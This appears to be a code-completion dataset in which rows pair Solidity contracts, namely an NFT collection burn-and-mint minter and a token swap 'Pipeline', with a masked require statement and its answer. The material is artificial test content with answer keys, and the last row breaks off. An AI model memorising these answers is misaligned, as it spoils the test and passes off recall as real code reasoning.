require(!isEven(_tokenId5), "CE: Not Issue 5"); // odd tokenId is Issue 5
require(isEven(_tokenId6), "CE: Not Issue 6"); // even tokenId is Issue 6
}
/**
* It isn't necessary to check if it is token id from Issue 4 because if it doesn't exist,
* it fails.
* @param _tokenIds4 Token id list from Issue 4.
*/
function _burn4(uint256[] calldata _tokenIds4) internal {
}
/**
* It isn't necessary to check if it is from Issue 5 or 6 because if it isn't
* it fails when trying to burn or checking ownership. But it is necessary
* to check if one is Issue 5 and another one is from Issue 6.
* @param _tokenId56 Token if from Issue 5 and 6.
*/
function _burn56(uint256[] calldata _tokenId56) internal {
}
/**
* Calls CE contract and mint CE Token
* @param _amountToMint Amount of CE Tokens that will be minted
* @param _freeClaimAmount Amount of tokens that are free claim
* @param _tokenIdsBurned Array that has token ids burned. It will be used in an event.
*/
function _mintCE(
uint256 _amountToMint,
uint256 _freeClaimAmount,
uint256[][] memory _tokenIdsBurned
) internal {
}
/**
* If the same tokenId is used to burn another set, it will fail because it was already burned and signature won't
* be able to be reused.
*
* Signature is the hash of tokensIds from Issue 1, 2, 3, 4, 5 and 6 + the freeClaimAmount value + the address of the token
* ids owner.
*
* @param _signature Signature to be verified
* @param _freeClaimAmount Amount of free claims
* @param _tokenIds123 List of token ids from Issue 1, 2 and 3
* @param _tokenIds4 List of token ids from Issue 4
* @param _tokenIds56 List of token ids from Issue 5 and 6
*/
function hasValidSignature(
bytes calldata _signature,
uint256 _freeClaimAmount,
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56
) internal view returns (bool) {
}
/**
* Set CE Token contract. OnlyOwner can call it
* @param _addr CE ERC721A Token address
*/
function setCEToken(address _addr) external onlyOwner {
}
/**
* Set Signer
* @param _signer Signer address
*/
function setSigner(address _signer) external onlyOwner {
}
/// @dev check if a number is even - it is used to check if token id is from Issue 5 or Issue 6
function isEven(uint256 _num) internal pure returns (bool) {
}
/// @dev Pause burn functions
function pause() external onlyOwner {
}
/// @dev Unpause burn functions
function unpause() external onlyOwner {
}
}
| huxleyComics56.ownerOf(_tokenId5)==msg.sender,"CE: Not owner 56" | 206,000 | huxleyComics56.ownerOf(_tokenId5)==msg.sender |
"CE: Not owner 56" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IERC721.sol";
/**
* @dev Minter of CE Token
*
* Huxley Token Id details:
* - token id until 10110, Issue 1.
* - token id from 10111 until 20220, Issue 2
* - token id from 20221 until 30330, Issue 3
* - token id from 30331 until 38775, Issue 4
* - token id from 40441 until 49414, Issue 5+6 - If tokenId is even, it is Issue 6. If it is an odd tokenId, it is Issue 5
*
*/
contract CETokenMinter is Pausable, Ownable {
using SignatureChecker for address;
/// @notice Interface to burn HuxleyComics Issues 1, 2 or 3
IERC721 public immutable huxleyComics;
/// @notice Interface to burn HuxleyComics Issue 4
IBurnable public immutable huxleyComics4;
/// @notice Interface to burn HuxleyComics Issue 5/6
IBurnable public immutable huxleyComics56;
/// @notice Interface to mint CE Token
IERC721 public ceToken;
/// @notice token id until 10110, Issue 1.
uint256 immutable lastTokenIssue1 = 10110;
/// @notice token id from 10111 until 20220, Issue 2
uint256 immutable lastTokenIssue2 = 20220;
/// @notice token id from 20221 until 30330, Issue 3
uint256 immutable lastTokenIssue3 = 30330;
/// @notice Address of the wallet that signs claim type (free or paid)
address public signer;
/**
* Sets Huxley Comics addresses, CE address and pause the minting
* @param _huxley123 Huxley Comics address for Issue 1, 2 and 3
* @param _huxley4 Huxley Comics address for Issue 4
* @param _huxley56 Huxley Comics address for Issue 5/6
* @param _ceToken Huxley Collection Edittion address
*/
constructor(
address _huxley123,
address _huxley4,
address _huxley56,
address _ceToken
) {
}
/**
* Burn 1 or more complete collection. A wallet has a complete collection when it
* has at least one token from each Issue (1 until 6).
*
* It will burn Huxley Comics token and mint 1 Collection Edition (CE) and 1 Access Pass (AP)
*
* It needs a signature that will confirm the amount of Free Claim CE. i.e.: Wallet is burning
* 3 collections. And it will have 2 Free Claim and 1 Paid Claim CE. So, <b>_freeClaimAmount</b>
* will be equal to 2. And the contract logic will set 2 CE tokens as Free claim and 1 CE Token as Paid Claim.
*
* _tokenIds123: If wallet is burning more than one collection, it should follow a specific order.
* For example, if it is burning 2 collection, it should be:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a ]
* [tokenId_Issue4b, tokenId_Issue4a ]
* [tokenId_Issue5a, tokenId_Issue6a, tokenId_Issue5b, tokenId_Issue6b]
*
* So it would burn 1st:
* [tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a, tokenId_Issue4a, tokenId_Issue5a, tokenId_Issue6a]
*
* 2nd burn:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue4b, tokenId_Issue5b, tokenId_Issue6b]
*
* It uses tokenId numbers to know if it is from Issue1, Issue2 or Issue 3.
*
* It also checks Issue4, Issue 5 and Issue 6 ownership before burning.
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burnCollections(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
}
/**
* Burns 1 collection set. It is in a different function to save gas since it doesn't loop.
*
* Check burnCollections() comments to see how to setup _tokenIds123, _tokenIds4 and _tokenIds56
* arrays
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burn1Set(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
}
/**
* Burn Tokens from Issue 1, 2 and 3. First it transfer to Minter contract and then burn it.
* If wallet is not the owner, it will fail and revert.
* It checks tokenId range to make sure it is from the correct Issue (1, 2 or 3)
* @param _tokenId1 TokenId from Issue 1
* @param _tokenId2 TokenId from Issue 2
* @param _tokenId3 TokenId from Issue 3
*/
function _burnTokens123(
uint256 _tokenId1,
uint256 _tokenId2,
uint256 _tokenId3
) internal {
}
/**
* Check Issue 4 ownership
* @param _tokenId4 Token id from Issue 4.
*/
function _checkOwner4Token(uint256 _tokenId4) internal view {
}
/**
* Before burning Issues 56, it needs to check Ownership. It also checks if is from Issue 5 or from Issue 6
* by verifying if it is even (6) or odd (5)
* @param _tokenId5 Token Id from Issue 5
* @param _tokenId6 Token Id from Issue 6
*/
function _checkOwner56Tokens(
uint256 _tokenId5,
uint256 _tokenId6
) internal view {
require(
huxleyComics56.ownerOf(_tokenId5) == msg.sender,
"CE: Not owner 56"
);
require(<FILL_ME>)
require(!isEven(_tokenId5), "CE: Not Issue 5"); // odd tokenId is Issue 5
require(isEven(_tokenId6), "CE: Not Issue 6"); // even tokenId is Issue 6
}
/**
* It isn't necessary to check if it is token id from Issue 4 because if it doesn't exist,
* it fails.
* @param _tokenIds4 Token id list from Issue 4.
*/
function _burn4(uint256[] calldata _tokenIds4) internal {
}
/**
* It isn't necessary to check if it is from Issue 5 or 6 because if it isn't
* it fails when trying to burn or checking ownership. But it is necessary
* to check if one is Issue 5 and another one is from Issue 6.
* @param _tokenId56 Token if from Issue 5 and 6.
*/
function _burn56(uint256[] calldata _tokenId56) internal {
}
/**
* Calls CE contract and mint CE Token
* @param _amountToMint Amount of CE Tokens that will be minted
* @param _freeClaimAmount Amount of tokens that are free claim
* @param _tokenIdsBurned Array that has token ids burned. It will be used in an event.
*/
function _mintCE(
uint256 _amountToMint,
uint256 _freeClaimAmount,
uint256[][] memory _tokenIdsBurned
) internal {
}
/**
* If the same tokenId is used to burn another set, it will fail because it was already burned and signature won't
* be able to be reused.
*
* Signature is the hash of tokensIds from Issue 1, 2, 3, 4, 5 and 6 + the freeClaimAmount value + the address of the token
* ids owner.
*
* @param _signature Signature to be verified
* @param _freeClaimAmount Amount of free claims
* @param _tokenIds123 List of token ids from Issue 1, 2 and 3
* @param _tokenIds4 List of token ids from Issue 4
* @param _tokenIds56 List of token ids from Issue 5 and 6
*/
function hasValidSignature(
bytes calldata _signature,
uint256 _freeClaimAmount,
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56
) internal view returns (bool) {
}
/**
* Set CE Token contract. OnlyOwner can call it
* @param _addr CE ERC721A Token address
*/
function setCEToken(address _addr) external onlyOwner {
}
/**
* Set Signer
* @param _signer Signer address
*/
function setSigner(address _signer) external onlyOwner {
}
/// @dev check if a number is even - it is used to check if token id is from Issue 5 or Issue 6
function isEven(uint256 _num) internal pure returns (bool) {
}
/// @dev Pause burn functions
function pause() external onlyOwner {
}
/// @dev Unpause burn functions
function unpause() external onlyOwner {
}
}
| huxleyComics56.ownerOf(_tokenId6)==msg.sender,"CE: Not owner 56" | 206,000 | huxleyComics56.ownerOf(_tokenId6)==msg.sender |
"CE: Not Issue 5" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IERC721.sol";
/**
* @dev Minter of CE Token
*
* Huxley Token Id details:
* - token id until 10110, Issue 1.
* - token id from 10111 until 20220, Issue 2
* - token id from 20221 until 30330, Issue 3
* - token id from 30331 until 38775, Issue 4
* - token id from 40441 until 49414, Issue 5+6 - If tokenId is even, it is Issue 6. If it is an odd tokenId, it is Issue 5
*
*/
contract CETokenMinter is Pausable, Ownable {
using SignatureChecker for address;
/// @notice Interface to burn HuxleyComics Issues 1, 2 or 3
IERC721 public immutable huxleyComics;
/// @notice Interface to burn HuxleyComics Issue 4
IBurnable public immutable huxleyComics4;
/// @notice Interface to burn HuxleyComics Issue 5/6
IBurnable public immutable huxleyComics56;
/// @notice Interface to mint CE Token
IERC721 public ceToken;
/// @notice token id until 10110, Issue 1.
uint256 immutable lastTokenIssue1 = 10110;
/// @notice token id from 10111 until 20220, Issue 2
uint256 immutable lastTokenIssue2 = 20220;
/// @notice token id from 20221 until 30330, Issue 3
uint256 immutable lastTokenIssue3 = 30330;
/// @notice Address of the wallet that signs claim type (free or paid)
address public signer;
/**
* Sets Huxley Comics addresses, CE address and pause the minting
* @param _huxley123 Huxley Comics address for Issue 1, 2 and 3
* @param _huxley4 Huxley Comics address for Issue 4
* @param _huxley56 Huxley Comics address for Issue 5/6
* @param _ceToken Huxley Collection Edittion address
*/
constructor(
address _huxley123,
address _huxley4,
address _huxley56,
address _ceToken
) {
}
/**
* Burn 1 or more complete collection. A wallet has a complete collection when it
* has at least one token from each Issue (1 until 6).
*
* It will burn Huxley Comics token and mint 1 Collection Edition (CE) and 1 Access Pass (AP)
*
* It needs a signature that will confirm the amount of Free Claim CE. i.e.: Wallet is burning
* 3 collections. And it will have 2 Free Claim and 1 Paid Claim CE. So, <b>_freeClaimAmount</b>
* will be equal to 2. And the contract logic will set 2 CE tokens as Free claim and 1 CE Token as Paid Claim.
*
* _tokenIds123: If wallet is burning more than one collection, it should follow a specific order.
* For example, if it is burning 2 collection, it should be:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a ]
* [tokenId_Issue4b, tokenId_Issue4a ]
* [tokenId_Issue5a, tokenId_Issue6a, tokenId_Issue5b, tokenId_Issue6b]
*
* So it would burn 1st:
* [tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a, tokenId_Issue4a, tokenId_Issue5a, tokenId_Issue6a]
*
* 2nd burn:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue4b, tokenId_Issue5b, tokenId_Issue6b]
*
* It uses tokenId numbers to know if it is from Issue1, Issue2 or Issue 3.
*
* It also checks Issue4, Issue 5 and Issue 6 ownership before burning.
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burnCollections(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
}
/**
* Burns 1 collection set. It is in a different function to save gas since it doesn't loop.
*
* Check burnCollections() comments to see how to setup _tokenIds123, _tokenIds4 and _tokenIds56
* arrays
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burn1Set(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
}
/**
* Burn Tokens from Issue 1, 2 and 3. First it transfer to Minter contract and then burn it.
* If wallet is not the owner, it will fail and revert.
* It checks tokenId range to make sure it is from the correct Issue (1, 2 or 3)
* @param _tokenId1 TokenId from Issue 1
* @param _tokenId2 TokenId from Issue 2
* @param _tokenId3 TokenId from Issue 3
*/
function _burnTokens123(
uint256 _tokenId1,
uint256 _tokenId2,
uint256 _tokenId3
) internal {
}
/**
* Check Issue 4 ownership
* @param _tokenId4 Token id from Issue 4.
*/
function _checkOwner4Token(uint256 _tokenId4) internal view {
}
/**
* Before burning Issues 56, it needs to check Ownership. It also checks if is from Issue 5 or from Issue 6
* by verifying if it is even (6) or odd (5)
* @param _tokenId5 Token Id from Issue 5
* @param _tokenId6 Token Id from Issue 6
*/
function _checkOwner56Tokens(
uint256 _tokenId5,
uint256 _tokenId6
) internal view {
require(
huxleyComics56.ownerOf(_tokenId5) == msg.sender,
"CE: Not owner 56"
);
require(
huxleyComics56.ownerOf(_tokenId6) == msg.sender,
"CE: Not owner 56"
);
require(<FILL_ME>) // odd tokenId is Issue 5
require(isEven(_tokenId6), "CE: Not Issue 6"); // even tokenId is Issue 6
}
/**
* It isn't necessary to check if it is token id from Issue 4 because if it doesn't exist,
* it fails.
* @param _tokenIds4 Token id list from Issue 4.
*/
function _burn4(uint256[] calldata _tokenIds4) internal {
}
/**
* It isn't necessary to check if it is from Issue 5 or 6 because if it isn't
* it fails when trying to burn or checking ownership. But it is necessary
* to check if one is Issue 5 and another one is from Issue 6.
* @param _tokenId56 Token if from Issue 5 and 6.
*/
function _burn56(uint256[] calldata _tokenId56) internal {
}
/**
* Calls CE contract and mint CE Token
* @param _amountToMint Amount of CE Tokens that will be minted
* @param _freeClaimAmount Amount of tokens that are free claim
* @param _tokenIdsBurned Array that has token ids burned. It will be used in an event.
*/
function _mintCE(
uint256 _amountToMint,
uint256 _freeClaimAmount,
uint256[][] memory _tokenIdsBurned
) internal {
}
/**
* If the same tokenId is used to burn another set, it will fail because it was already burned and signature won't
* be able to be reused.
*
* Signature is the hash of tokensIds from Issue 1, 2, 3, 4, 5 and 6 + the freeClaimAmount value + the address of the token
* ids owner.
*
* @param _signature Signature to be verified
* @param _freeClaimAmount Amount of free claims
* @param _tokenIds123 List of token ids from Issue 1, 2 and 3
* @param _tokenIds4 List of token ids from Issue 4
* @param _tokenIds56 List of token ids from Issue 5 and 6
*/
function hasValidSignature(
bytes calldata _signature,
uint256 _freeClaimAmount,
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56
) internal view returns (bool) {
}
/**
* Set CE Token contract. OnlyOwner can call it
* @param _addr CE ERC721A Token address
*/
function setCEToken(address _addr) external onlyOwner {
}
/**
* Set Signer
* @param _signer Signer address
*/
function setSigner(address _signer) external onlyOwner {
}
/// @dev check if a number is even - it is used to check if token id is from Issue 5 or Issue 6
function isEven(uint256 _num) internal pure returns (bool) {
}
/// @dev Pause burn functions
function pause() external onlyOwner {
}
/// @dev Unpause burn functions
function unpause() external onlyOwner {
}
}
| !isEven(_tokenId5),"CE: Not Issue 5" | 206,000 | !isEven(_tokenId5) |
"CE: Not Issue 6" | // SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol";
import "./interfaces/IBurnable.sol";
import "./interfaces/IERC721.sol";
/**
* @dev Minter of CE Token
*
* Huxley Token Id details:
* - token id until 10110, Issue 1.
* - token id from 10111 until 20220, Issue 2
* - token id from 20221 until 30330, Issue 3
* - token id from 30331 until 38775, Issue 4
* - token id from 40441 until 49414, Issue 5+6 - If tokenId is even, it is Issue 6. If it is an odd tokenId, it is Issue 5
*
*/
contract CETokenMinter is Pausable, Ownable {
using SignatureChecker for address;
/// @notice Interface to burn HuxleyComics Issues 1, 2 or 3
IERC721 public immutable huxleyComics;
/// @notice Interface to burn HuxleyComics Issue 4
IBurnable public immutable huxleyComics4;
/// @notice Interface to burn HuxleyComics Issue 5/6
IBurnable public immutable huxleyComics56;
/// @notice Interface to mint CE Token
IERC721 public ceToken;
/// @notice token id until 10110, Issue 1.
uint256 immutable lastTokenIssue1 = 10110;
/// @notice token id from 10111 until 20220, Issue 2
uint256 immutable lastTokenIssue2 = 20220;
/// @notice token id from 20221 until 30330, Issue 3
uint256 immutable lastTokenIssue3 = 30330;
/// @notice Address of the wallet that signs claim type (free or paid)
address public signer;
/**
* Sets Huxley Comics addresses, CE address and pause the minting
* @param _huxley123 Huxley Comics address for Issue 1, 2 and 3
* @param _huxley4 Huxley Comics address for Issue 4
* @param _huxley56 Huxley Comics address for Issue 5/6
* @param _ceToken Huxley Collection Edittion address
*/
constructor(
address _huxley123,
address _huxley4,
address _huxley56,
address _ceToken
) {
}
/**
* Burn 1 or more complete collection. A wallet has a complete collection when it
* has at least one token from each Issue (1 until 6).
*
* It will burn Huxley Comics token and mint 1 Collection Edition (CE) and 1 Access Pass (AP)
*
* It needs a signature that will confirm the amount of Free Claim CE. i.e.: Wallet is burning
* 3 collections. And it will have 2 Free Claim and 1 Paid Claim CE. So, <b>_freeClaimAmount</b>
* will be equal to 2. And the contract logic will set 2 CE tokens as Free claim and 1 CE Token as Paid Claim.
*
* _tokenIds123: If wallet is burning more than one collection, it should follow a specific order.
* For example, if it is burning 2 collection, it should be:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a ]
* [tokenId_Issue4b, tokenId_Issue4a ]
* [tokenId_Issue5a, tokenId_Issue6a, tokenId_Issue5b, tokenId_Issue6b]
*
* So it would burn 1st:
* [tokenId_Issue1a, tokenId_Issue2a, tokeId_Issue3a, tokenId_Issue4a, tokenId_Issue5a, tokenId_Issue6a]
*
* 2nd burn:
* [tokenId_Issue1b, tokenId_Issue2b, tokeId_Issue3b, tokenId_Issue4b, tokenId_Issue5b, tokenId_Issue6b]
*
* It uses tokenId numbers to know if it is from Issue1, Issue2 or Issue 3.
*
* It also checks Issue4, Issue 5 and Issue 6 ownership before burning.
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burnCollections(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
}
/**
* Burns 1 collection set. It is in a different function to save gas since it doesn't loop.
*
* Check burnCollections() comments to see how to setup _tokenIds123, _tokenIds4 and _tokenIds56
* arrays
*
* @param _tokenIds123 Token ids from Issue 1, 2 and 3. The order of the tokens matter
* @param _tokenIds4 Token ids from Issue 4. The order of the tokens matter
* @param _tokenIds56 Token ids from Issue 5/6. The order of the token ids matter.
* @param _freeClaimAmount Amount of free claim
* @param _signature Signature created by signer to confirm amount of free claim
*/
function burn1Set(
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56,
uint256 _freeClaimAmount,
bytes calldata _signature
) external whenNotPaused {
}
/**
* Burn Tokens from Issue 1, 2 and 3. First it transfer to Minter contract and then burn it.
* If wallet is not the owner, it will fail and revert.
* It checks tokenId range to make sure it is from the correct Issue (1, 2 or 3)
* @param _tokenId1 TokenId from Issue 1
* @param _tokenId2 TokenId from Issue 2
* @param _tokenId3 TokenId from Issue 3
*/
function _burnTokens123(
uint256 _tokenId1,
uint256 _tokenId2,
uint256 _tokenId3
) internal {
}
/**
* Check Issue 4 ownership
* @param _tokenId4 Token id from Issue 4.
*/
function _checkOwner4Token(uint256 _tokenId4) internal view {
}
/**
* Before burning Issues 56, it needs to check Ownership. It also checks if is from Issue 5 or from Issue 6
* by verifying if it is even (6) or odd (5)
* @param _tokenId5 Token Id from Issue 5
* @param _tokenId6 Token Id from Issue 6
*/
function _checkOwner56Tokens(
uint256 _tokenId5,
uint256 _tokenId6
) internal view {
require(
huxleyComics56.ownerOf(_tokenId5) == msg.sender,
"CE: Not owner 56"
);
require(
huxleyComics56.ownerOf(_tokenId6) == msg.sender,
"CE: Not owner 56"
);
require(!isEven(_tokenId5), "CE: Not Issue 5"); // odd tokenId is Issue 5
require(<FILL_ME>) // even tokenId is Issue 6
}
/**
* It isn't necessary to check if it is token id from Issue 4 because if it doesn't exist,
* it fails.
* @param _tokenIds4 Token id list from Issue 4.
*/
function _burn4(uint256[] calldata _tokenIds4) internal {
}
/**
* It isn't necessary to check if it is from Issue 5 or 6 because if it isn't
* it fails when trying to burn or checking ownership. But it is necessary
* to check if one is Issue 5 and another one is from Issue 6.
* @param _tokenId56 Token if from Issue 5 and 6.
*/
function _burn56(uint256[] calldata _tokenId56) internal {
}
/**
* Calls CE contract and mint CE Token
* @param _amountToMint Amount of CE Tokens that will be minted
* @param _freeClaimAmount Amount of tokens that are free claim
* @param _tokenIdsBurned Array that has token ids burned. It will be used in an event.
*/
function _mintCE(
uint256 _amountToMint,
uint256 _freeClaimAmount,
uint256[][] memory _tokenIdsBurned
) internal {
}
/**
* If the same tokenId is used to burn another set, it will fail because it was already burned and signature won't
* be able to be reused.
*
* Signature is the hash of tokensIds from Issue 1, 2, 3, 4, 5 and 6 + the freeClaimAmount value + the address of the token
* ids owner.
*
* @param _signature Signature to be verified
* @param _freeClaimAmount Amount of free claims
* @param _tokenIds123 List of token ids from Issue 1, 2 and 3
* @param _tokenIds4 List of token ids from Issue 4
* @param _tokenIds56 List of token ids from Issue 5 and 6
*/
function hasValidSignature(
bytes calldata _signature,
uint256 _freeClaimAmount,
uint256[] calldata _tokenIds123,
uint256[] calldata _tokenIds4,
uint256[] calldata _tokenIds56
) internal view returns (bool) {
}
/**
* Set CE Token contract. OnlyOwner can call it
* @param _addr CE ERC721A Token address
*/
function setCEToken(address _addr) external onlyOwner {
}
/**
* Set Signer
* @param _signer Signer address
*/
function setSigner(address _signer) external onlyOwner {
}
/// @dev check if a number is even - it is used to check if token id is from Issue 5 or Issue 6
function isEven(uint256 _num) internal pure returns (bool) {
}
/// @dev Pause burn functions
function pause() external onlyOwner {
}
/// @dev Unpause burn functions
function unpause() external onlyOwner {
}
}
| isEven(_tokenId6),"CE: Not Issue 6" | 206,000 | isEven(_tokenId6) |
"Not enough token received" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./PipelineProxy.sol";
/// @notice Used for entering the pool from any token(swap + enter pool)
/// @dev User can pass any CallParams, and call any arbitrary contract
contract Pipeline {
using SafeERC20 for IERC20;
struct CallParams {
address inToken; // Address of token contract
uint256 amount; // Amount of tokens
address target; // Address of contract to be called
bytes callData; // callData with wich `target` token would be called
}
struct CallParamsWithChunks {
address inToken; // Address of token contract
address target; // Address of contract to be called
bytes[] callDataChunks; // CallParams without amount. Amount will be added between chunks
}
address public pipelineProxy; // User approve for this address. And we take user tokens from this address
mapping(address => mapping(address => bool)) approved; // Contract => token => approved
address constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint256 constant MAX_INT = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
event PipelineProxyChanged(address indexed newPipelineProxy);
constructor() {
}
/// @dev call to swapper should swap tokens and transfer them to this contract
/// This function can call any other function. So contract should not have any assets, or they will be lost!!!
/// @param swapData data to call swapper
/// @param targetData data to call target
/// @param distToken address of token that user will gain
/// @param minAmount minimum amount of distToken that user will gain(revert if less)
/// @param checkFinalBalance If true - send remaining distTokens from contract to caller
function run(
CallParams memory swapData,
CallParamsWithChunks memory targetData,
address distToken,
uint256 minAmount,
bool checkFinalBalance
) external payable {
require(swapData.target != pipelineProxy, "Swapper can't be PipelineProxy");
require(targetData.target != pipelineProxy, "Target can't be PipelineProxy");
uint256 amountBeforeSwap = getBalance(distToken, msg.sender);
if (swapData.inToken != ETH_ADDRESS) {
PipelineProxy(pipelineProxy).transfer(swapData.inToken, msg.sender, swapData.amount);
approveIfNecessary(swapData.target, swapData.inToken);
}
(bool success,) = swapData.target.call{value: msg.value}(swapData.callData);
require(success, "Can't swap");
uint256 erc20Balance;
uint256 ethBalance;
if (targetData.inToken != ETH_ADDRESS) {
erc20Balance = IERC20(targetData.inToken).balanceOf(address(this));
require(erc20Balance > 0, "Zero token balance after swap");
approveIfNecessary(targetData.target, targetData.inToken);
} else {
ethBalance = address(this).balance;
require(ethBalance > 0, "Zero eth balance after swap");
}
(success,) = callFunctionUsingChunks(targetData.target, targetData.callDataChunks, erc20Balance, ethBalance);
require(success, "Can't mint");
uint256 distTokenAmount;
if (checkFinalBalance) {
if (distToken != ETH_ADDRESS) {
distTokenAmount = IERC20(distToken).balanceOf(address(this));
if (distTokenAmount > 0) {
IERC20(distToken).safeTransfer(msg.sender, distTokenAmount);
}
} else {
distTokenAmount = address(this).balance;
if (distTokenAmount > 0) {
(success, ) = payable(msg.sender).call{value: distTokenAmount}('');
require(success, "Can't transfer eth");
}
}
}
uint256 amountAfterSwap = getBalance(distToken, msg.sender);
require(<FILL_ME>)
}
/// @dev Same as zipIn, but have extra intermediate step
/// Call to swapper should swap tokens and transfer them to this contract
/// This function can call any other function. So contract should not have any assets, or they will be lost!!!
/// @param swapData data to call swapper
/// @param poolData data to call pool
/// @param targetData data to call target
/// @param distToken address of token that user will gain
/// @param minAmount minimum amount of distToken that user will gain(revert if less)
/// @param checkFinalBalance If true - send remaining distTokens from contract to caller
function runWithPool(
CallParams memory swapData,
CallParamsWithChunks memory poolData,
CallParamsWithChunks memory targetData,
address distToken,
uint256 minAmount,
bool checkFinalBalance
) external payable {
}
/// @dev Create CallParams using `packCallData` and call contract using it
/// @param _contract Contract address to be called
/// @param _chunks Chunks of call data without value paraeters. Value will be added between chunks
/// @param _value Value of word to which it will change
/// @param _ethValue How much ether we should send with call
/// @return success - standart return from call
/// @return result - standart return from call
function callFunctionUsingChunks(
address _contract,
bytes[] memory _chunks,
uint256 _value,
uint256 _ethValue
)
internal
returns (bool success, bytes memory result)
{
}
/// @dev Approve infinite token approval to target if it hasn't done earlier
/// @param target Address for which we give approval
/// @param token Token address
function approveIfNecessary(address target, address token) internal {
}
/// @dev Return eth balance if token == ETH_ADDRESS, and erc20 balance otherwise
function getBalance(address token, address addr) internal view returns(uint256 res) {
}
/// @dev Create single bytes array by concatenation of chunks, using value as delimiter
/// Trying to do concatenation with one command,
/// but if num of chunks > 6, do it through many operations(not gas efficient)
/// @param _chunks Bytes chanks. Obtained by omitting value from callDat
/// @param _value Number, that will be used as delimiter
function packCallData(
bytes[] memory _chunks,
uint256 _value
)
internal
pure
returns(bytes memory callData)
{
}
/// @dev Do same as `packCallData`, but for arbitrary amount of chunks. Not gas efficient
function packCallDataAny(
bytes[] memory _chunks,
uint256 _value
)
internal
pure
returns(bytes memory callData)
{
}
// We need this function for swap from token to ether
receive() external payable {}
}
| amountAfterSwap-amountBeforeSwap>=minAmount,"Not enough token received" | 206,486 | amountAfterSwap-amountBeforeSwap>=minAmount |
'You need to hold at least 100,000,000 $NFA to add options.' | pragma solidity ^0.8.0;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
}
interface IdaoContract {
function balanceOf(address account) external view returns (uint256);
}
interface IUniswapV2Router02 {
